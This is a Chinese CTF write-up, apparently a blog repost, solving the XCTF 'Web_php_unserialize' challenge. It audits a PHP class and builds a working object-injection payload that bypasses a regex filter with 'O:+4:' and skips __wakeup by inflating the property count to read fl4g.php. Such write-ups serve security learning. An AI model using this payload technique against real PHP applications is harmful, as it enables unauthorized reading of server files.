XCTF-高手进阶区:Web_php_unserialize

在这里插入图片描述
代码审计:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这里看到了__wakeup,猜想是反序列化漏洞,秘密再fl4g.php中哦
(1)实例化对象

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;

//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

(2)分析代码

if (isset($_GET['var'])) { //判断var变量是否存在并且非NULL
    $var = base64_decode($_GET['var']); //bse64解密var
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配$var
        die('stop hacking!'); //停止脚本并输出stop hacking!
    } else {
        @unserialize($var); //反序列化$var
    } 
} else { 
    highlight_file("index.php"); //对index.php进行语法高亮显示
} 

最终目的是看到fl4g.php里的内容,那么我们需要做到的就两点:

  • 绕过preg_match
  • 绕过__wakeup

(3)payload

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名
注:%00表示占用1个字符
这就是为什么上面的payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10

(4)执行payload
在这里插入图片描述

发布了135 篇原创文章 · 获赞 51 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/104573548